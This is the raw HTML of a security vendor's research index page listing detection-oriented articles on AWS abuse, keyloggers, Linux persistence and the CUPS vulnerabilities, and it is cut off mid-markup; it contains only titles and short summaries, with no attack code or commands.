CINXE.COM
Security research — Elastic Security Labs
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><title>Security research — Elastic Security Labs</title><meta name="description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:title" content="Security research — Elastic Security Labs"/><meta property="og:description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:image" content="https://www.elastic.co/security-labs/assets/security-labs-thumbnail.png?b6f697da7ab55864ebc29418ee10bbcc"/><meta property="og:image:alt" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:site_name"/><meta property="og:url" content="https://www.elastic.co/security-labs/topics/security-research"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Security research — Elastic Security Labs"/><meta name="twitter:description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta name="twitter:image" content="https://www.elastic.co/security-labs/assets/security-labs-thumbnail.png?b6f697da7ab55864ebc29418ee10bbcc"/><meta name="twitter:image:alt" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><link rel="canonical" href="https://www.elastic.co/security-labs/topics/security-research"/><link rel="preload" href="/security-labs/logo.svg" as="image" fetchpriority="high"/><link rel="preload" as="image" imageSrcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=640&q=75 640w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=750&q=75 750w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=828&q=75 828w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1080&q=75 1080w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1200&q=75 1200w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1920&q=75 1920w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=2048&q=75 2048w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=3840&q=75 3840w" imageSizes="100vw" fetchpriority="high"/><meta name="next-head-count" content="19"/><script src="https://play.vidyard.com/embed/v4.js" type="text/javascript" async=""></script><link rel="icon" href="/security-labs/favicon.svg"/><link rel="mask-icon" href="/security-labs/favicon.svg" color="#1C1E23"/><link rel="apple-touch-icon" href="/security-labs/favicon.svg"/><meta name="theme-color" content="#1C1E23"/><link rel="preload" href="/security-labs/_next/static/media/6d93bde91c0c2823-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/a34f9d1faa5f3315-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/369c6e283c5acc6e-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/92f44bb82993d879-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/ee71530a747ff30b-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/9fac010bc1f02be0-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/cbf5fbad4d73afac-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><script id="google-tag-manager" data-nscript="beforeInteractive"> (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KNJMG2M'); </script><link rel="preload" href="/security-labs/_next/static/css/265ed7605fd03477.css" as="style"/><link rel="stylesheet" href="/security-labs/_next/static/css/265ed7605fd03477.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/security-labs/_next/static/chunks/polyfills-78c92fac7aa8fdd8.js"></script><script src="/security-labs/_next/static/chunks/webpack-7987c6fda769d510.js" defer=""></script><script src="/security-labs/_next/static/chunks/framework-7a7e500878b44665.js" defer=""></script><script src="/security-labs/_next/static/chunks/main-ebd33a9f1cae5951.js" defer=""></script><script src="/security-labs/_next/static/chunks/pages/_app-cb8664d1d3df2511.js" defer=""></script><script src="/security-labs/_next/static/chunks/fec483df-43ee602fabdfe3a4.js" defer=""></script><script src="/security-labs/_next/static/chunks/877-34f408271ef44c22.js" defer=""></script><script src="/security-labs/_next/static/chunks/511-d08fe0fdd6f8a984.js" defer=""></script><script src="/security-labs/_next/static/chunks/402-3116ea2f423ff119.js" defer=""></script><script src="/security-labs/_next/static/chunks/616-0b017b9cfa597392.js" defer=""></script><script src="/security-labs/_next/static/chunks/pages/topics/%5Bslug%5D-4d565185d54c625d.js" defer=""></script><script src="/security-labs/_next/static/rZgt_jOWSqGgNGvs1XQtL/_buildManifest.js" defer=""></script><script src="/security-labs/_next/static/rZgt_jOWSqGgNGvs1XQtL/_ssgManifest.js" defer=""></script></head><body><noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KNJMG2M" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript><div id="__next"><main class="__variable_0351a5 __variable_1f211e __variable_a5b5f5 flex flex-col min-h-screen"><div class="scroll-percentage-container invisible"><div class="scroll-percentage-bar" style="width:0%"></div></div><nav class="fixed w-full z-40" data-headlessui-state=""><div class="bg-gradient-to-b from-zinc-900 from-20% h-[200%] to-transparent absolute inset-0 z-0 pointer-events-none"></div><div class="container relative z-10"><div class="flex h-16 items-center justify-between"><div class="flex items-center justify-start w-full"><div><a class="hover:opacity-50 transition" href="/security-labs"><img alt="elastic security labs logo" fetchpriority="high" width="200" height="30" decoding="async" data-nimg="1" style="color:transparent" src="/security-labs/logo.svg"/></a></div><div class="hidden lg:ml-6 lg:block"><div class="flex space-x-4"><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/about"><span>About</span></a><div class="relative" data-headlessui-state=""><div><button class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" id="headlessui-menu-button-:R2kpm:" type="button" aria-haspopup="menu" aria-expanded="false" data-headlessui-state="">Topics<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="ml-1 -mr-1 h-4 w-4 text-zinc-400 relative top-[1px]"><path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd"></path></svg></button></div></div><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/vulnerability-updates"><span>Vulnerability updates</span></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/reports"><span>Reports</span></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/tools"><span>Tools</span></a></div></div><div class="hidden lg:ml-auto lg:block"><div class="flex items-center space-x-4"><a class="rounded flex items-center p-4 text-white focus:outline-none focus:ring-0 focus:ring-offset-1 focus:ring-offset-zinc-600 group" href="https://search.elastic.co/?location%5B0%5D=Security%20Labs&referrer=https://www.elastic.co/security-labs/topics/security-research"><div class="flex items-center relative font-display"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"></path></svg></div></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="https://www.elastic.co/security-labs/rss/feed.xml"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="h-4 w-4 mr-1"><path d="M3.75 3a.75.75 0 00-.75.75v.5c0 .414.336.75.75.75H4c6.075 0 11 4.925 11 11v.25c0 .414.336.75.75.75h.5a.75.75 0 00.75-.75V16C17 8.82 11.18 3 4 3h-.25z"></path><path d="M3 8.75A.75.75 0 013.75 8H4a8 8 0 018 8v.25a.75.75 0 01-.75.75h-.5a.75.75 0 01-.75-.75V16a6 6 0 00-6-6h-.25A.75.75 0 013 9.25v-.5zM7 15a2 2 0 11-4 0 2 2 0 014 0z"></path></svg><span class="hidden xl:block">Subscribe</span></a><a class="font-display inline-flex items-center justify-center rounded font-semibold disabled:!select-none disabled:!bg-gray-400 bg-blue-600 text-white hover:bg-blue-500 enabled:hover:text-white/80 transition-colors px-4 py-2 text-sm flex-1 lg:flex-auto" href="https://cloud.elastic.co/registration?cta=cloud-registration&tech=trial&plcmt=navigation&pg=security-labs">Start free trial</a><a class="font-display inline-flex items-center justify-center rounded font-semibold text-white disabled:!select-none disabled:!bg-gray-400 button px-4 py-2 text-sm flex-1 lg:flex-auto" href="https://www.elastic.co/contact">Contact sales</a></div></div></div><div class="-mr-2 flex lg:hidden"><a class="rounded flex items-center p-4 text-white focus:outline-none focus:ring-0 focus:ring-offset-1 focus:ring-offset-zinc-600 group" href="https://search.elastic.co/?location%5B0%5D=Security%20Labs&referrer=https://www.elastic.co/security-labs/topics/security-research"><div class="flex items-center relative font-display"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"></path></svg></div></a><button class="inline-flex items-center justify-center rounded-md p-2 text-gray-400 hover:bg-gray-700 hover:text-white focus:outline-none focus:ring-2 focus:ring-inset focus:ring-white" id="headlessui-disclosure-button-:R59m:" type="button" aria-expanded="false" data-headlessui-state=""><span class="sr-only">Open navigation menu</span><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="block h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"></path></svg></button></div></div></div></nav><main class="mb-20 flex-1 flex flex-col"><div class="h-48 md:h-64"><div class="after:absolute after:block after:bg-blue-400 after:blur-3xl after:content-[' '] after:h-96 after:opacity-5 after:right-0 after:rounded-full after:top-20 after:w-1/2 after:z-0 before:absolute before:block before:blur-3xl before:bg-orange-400 before:content-[' '] before:h-96 before:left-0 before:opacity-5 before:rounded-full before:w-1/2 before:z-0 w-full h-full relative"><div class="relative z-10 w-full h-[125%] -top-[25%] bg-no-repeat bg-cover bg-bottom flex items-center justify-center" style="background-image:url(/security-labs/grid.svg)"></div></div></div><div class="container relative"><div class="mb-8 flex justify-between items-end"><div class="flex-grow"><h4 class="font-bold leading-tight text-lg md:text-2xl mb-4">Topic</h4><h1 class="font-bold leading-tighter text-3xl md:text-5xl">Security research</h1></div><div class="shrink-0 flex items-center space-x-4"><a href="https://www.elastic.co/security-labs/rss/topics/security-research.xml" class="button" title="Subscribe"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="h-5 w-5 mr-2"><path d="M3.75 3a.75.75 0 00-.75.75v.5c0 .414.336.75.75.75H4c6.075 0 11 4.925 11 11v.25c0 .414.336.75.75.75h.5a.75.75 0 00.75-.75V16C17 8.82 11.18 3 4 3h-.25z"></path><path d="M3 8.75A.75.75 0 013.75 8H4a8 8 0 018 8v.25a.75.75 0 01-.75.75h-.5a.75.75 0 01-.75-.75V16a6 6 0 00-6-6h-.25A.75.75 0 013 9.25v-.5zM7 15a2 2 0 11-4 0 2 2 0 014 0z"></path></svg><span>Subscribe</span></a></div></div><div class="bg-zinc-900 border border-zinc-800 drop-shadow-lg p-5 sm:p-8 md:p-10 rounded-3xl mb-8 md:mb-20"><div class="flex flex-col-reverse justify-between lg:flex-row"><div class="flex flex-col justify-between max-w-xl lg:mt-0 mt-10 pr-10"><div><h4 class="font-bold leading-tight text-lg md:text-2xl mb-3">13 March 2025</h4><h2 class="font-bold text-2xl md:text-4xl mb-5"><a class="hover:text-blue-400 transition" href="/security-labs/aws-sns-abuse">AWS SNS Abuse: Data Exfiltration and Phishing</a></h2></div><p class="text-sm md:text-base text-zinc-400">During a recent internal collaboration, we dug into publicly known SNS abuse attempts and our knowledge of the data source to develop detection capabilities.</p></div><div class="w-full max-w-2xl"><a href="/security-labs/aws-sns-abuse"><div class="relative w-full rounded-lg overflow-hidden aspect-video"><img alt="placeholder image" fetchpriority="high" decoding="async" data-nimg="fill" class="object-cover absolute h-full w-full" style="position:absolute;height:100%;width:100%;left:0;top:0;right:0;bottom:0;color:transparent" sizes="100vw" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=640&q=75 640w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=750&q=75 750w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=828&q=75 828w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1080&q=75 1080w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1200&q=75 1200w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=1920&q=75 1920w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=2048&q=75 2048w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=3840&q=75 3840w" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Faws-sns-abuse%2FSecurity%20Labs%20Images%207.jpg&w=3840&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div></a></div></div></div><div class="grid sm:grid-cols-2 lg:grid-cols-4 gap-8"><a href="/security-labs/detecting-hotkey-based-keyloggers"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers%2FSecurity%20Labs%20Images%2012.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers%2FSecurity%20Labs%20Images%2012.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers%2FSecurity%20Labs%20Images%2012.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">4 March 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure</h3><p class="text-sm text-zinc-400">In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space.</p></div></a><a href="/security-labs/the-grand-finale-on-linux-persistence"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Linux Detection Engineering - The Grand Finale on Linux Persistence" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthe-grand-finale-on-linux-persistence%2FSecurity%20Labs%20Images%205.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthe-grand-finale-on-linux-persistence%2FSecurity%20Labs%20Images%205.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthe-grand-finale-on-linux-persistence%2FSecurity%20Labs%20Images%205.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">27 February 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Linux Detection Engineering - The Grand Finale on Linux Persistence</h3><p class="text-sm text-zinc-400">By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities.</p></div></a><a href="/security-labs/emulating-aws-s3-sse-c"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Emulating AWS S3 SSE-C Ransom for Threat Detection" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femulating-aws-s3-sse-c%2FSecurity%20Labs%20Images%2011.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femulating-aws-s3-sse-c%2FSecurity%20Labs%20Images%2011.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Femulating-aws-s3-sse-c%2FSecurity%20Labs%20Images%2011.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">20 February 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Emulating AWS S3 SSE-C Ransom for Threat Detection</h3><p class="text-sm text-zinc-400">In this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations.</p></div></a><a href="/security-labs/approaching-the-summit-on-persistence"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fapproaching-the-summit-on-persistence%2FSecurity%20Labs%20Images%2032.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fapproaching-the-summit-on-persistence%2FSecurity%20Labs%20Images%2032.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fapproaching-the-summit-on-persistence%2FSecurity%20Labs%20Images%2032.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">11 February 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms</h3><p class="text-sm text-zinc-400">Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.</p></div></a><a href="/security-labs/detecting-hotkey-based-keyloggers-jp"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="未公開のカーネルデータ構造を使ったホットキー型キーロガーの検知" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers-jp%2FSecurity%20Labs%20Images%2012.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers-jp%2FSecurity%20Labs%20Images%2012.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetecting-hotkey-based-keyloggers-jp%2FSecurity%20Labs%20Images%2012.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">4 February 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">未公開のカーネルデータ構造を使ったホットキー型キーロガーの検知</h3><p class="text-sm text-zinc-400">本記事では、ホットキー型キーロガーとは何かについてと、その検知方法について紹介します。具体的には、ホットキー型キーロガーがどのようにしてキー入力を盗み取るのかを解説した後、カーネルレベルに存在する未公開(Undocumented)のホットキーテーブルを活用した検知手法について説明します。</p></div></a><a href="/security-labs/behavior-rule-bug-bounty"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Announcing the Elastic Bounty Program for Behavior Rule Protections" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbehavior-rule-bug-bounty%2Fbehavior-rule-bug-bounty.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbehavior-rule-bug-bounty%2Fbehavior-rule-bug-bounty.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbehavior-rule-bug-bounty%2Fbehavior-rule-bug-bounty.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">29 January 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Announcing the Elastic Bounty Program for Behavior Rule Protections</h3><p class="text-sm text-zinc-400">Elastic is launching an expansion of its security bounty program, inviting researchers to test its SIEM and EDR rules for evasion and bypass techniques, starting with Windows endpoints. This initiative strengthens collaboration with the security community, ensuring Elastic’s defenses remain robust against evolving threats.</p></div></a><a href="/security-labs/detonating-beacons-to-illuminate-detection-gaps"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Detonating Beacons to Illuminate Detection Gaps" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetonating-beacons-to-illuminate-detection-gaps%2FSecurity%20Labs%20Images%2031.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetonating-beacons-to-illuminate-detection-gaps%2FSecurity%20Labs%20Images%2031.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdetonating-beacons-to-illuminate-detection-gaps%2FSecurity%20Labs%20Images%2031.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 January 2025</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Detonating Beacons to Illuminate Detection Gaps</h3><p class="text-sm text-zinc-400">Learn how Elastic Security leveraged open-source BOFs to achieve detection engineering goals during our most recent ON week.</p></div></a><a href="/security-labs/exploring-aws-sts-assumeroot"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Exploring AWS STS AssumeRoot" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-aws-sts-assumeroot%2FSecurity%20Labs%20Images%2020.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-aws-sts-assumeroot%2FSecurity%20Labs%20Images%2020.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-aws-sts-assumeroot%2FSecurity%20Labs%20Images%2020.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">10 December 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Exploring AWS STS AssumeRoot</h3><p class="text-sm text-zinc-400">Explore AWS STS AssumeRoot, its risks, detection strategies, and practical scenarios to secure against privilege escalation and account compromise using Elastic's SIEM and CloudTrail data.</p></div></a><a href="/security-labs/streamlining-security-integrating-amazon-bedrock"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Streamlining Security: Integrating Amazon Bedrock with Elastic" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-security-integrating-amazon-bedrock%2FSecurity%20Labs%20Images%2036.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-security-integrating-amazon-bedrock%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-security-integrating-amazon-bedrock%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">14 November 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Streamlining Security: Integrating Amazon Bedrock with Elastic</h3><p class="text-sm text-zinc-400">This article will guide you through the process of setting up the Amazon Bedrock integration and enabling Elastic's prebuilt detection rules to streamline your security operations.</p></div></a><a href="/security-labs/cups-overflow"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Cups Overflow: When your printer spills more than Ink" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcups-overflow%2Fcups-overflow.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcups-overflow%2Fcups-overflow.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcups-overflow%2Fcups-overflow.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">28 September 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Cups Overflow: When your printer spills more than Ink</h3><p class="text-sm text-zinc-400">Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris.</p></div></a><a href="/security-labs/storm-on-the-horizon"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Storm on the Horizon: Inside the AJCloud IoT Ecosystem" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstorm-on-the-horizon%2Fstorm-on-the-horizon.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstorm-on-the-horizon%2Fstorm-on-the-horizon.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstorm-on-the-horizon%2Fstorm-on-the-horizon.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">20 September 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Storm on the Horizon: Inside the AJCloud IoT Ecosystem</h3><p class="text-sm 